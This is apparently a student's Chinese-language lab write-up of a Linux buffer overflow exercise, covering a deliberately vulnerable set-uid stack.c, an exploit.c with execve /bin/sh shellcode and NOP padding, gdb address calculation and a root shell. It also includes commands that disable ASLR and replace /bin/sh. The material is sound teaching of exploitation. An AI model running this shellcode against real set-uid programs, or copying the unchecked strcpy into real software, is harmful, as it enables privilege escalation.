20181202李祎铭 2020-2021-1 基于Linux的缓冲区溢出实验

基于Linux的缓冲区溢出实验

一、准备工作

  1. 本实验基于Linux x64 Deepin 发行版本
  2. 为方便观察汇编语言,此实验需要在32位环境下操作,因此需要安装用于编译32位C程序的软件包,在terminal中输入以下指令:
$sudo apt-get update
$sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
$sudo apt-get install -y python3.6-gdbm gdb

二、初始设置

  1. Ubuntu 和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出关键。在实验中,我们需要命令行关闭这一功能。
$sudo sysctl -w kernel.randomize_va_space=0

  1. linux系统中,/bin/sh实际是指向/bin/bash的一个符号链接。本实验中使用另一个shell程序(zsh)代替/bin/bash.
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit

  1. 进入32位Linux环境

三、实验步骤

  1. 在/tmp目录下创建stack.c文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

  1. 编译该程序,并设置SET-UID

3.在/tmp目录下创建exploit.c文件,攻击程序

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

其中\x??\x??\x??\x??处需添加上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回的地址。而strcpy(buffer+100,shellcode)说明shellcode保存在buffer+100的位置。
通过gdb调试获得shellcode在内存中的地址。

esp中就是str的起始地址,所以我们在地址0x080484ee处设置断点

通过计算可知,shellcode的地址为0xffffd1c0+0x64=0xffffd224,修改exploit.c程序,并编译。

  1. 测试攻击结果

先运行exploit,再运行漏洞程序stack,观察结果

获取了root权限,攻击成功

四、练习

  1. 通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

  2. /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。

posted @ 2020-10-11 20:51  1202李祎铭  阅读(117)  评论(0编辑  收藏  举报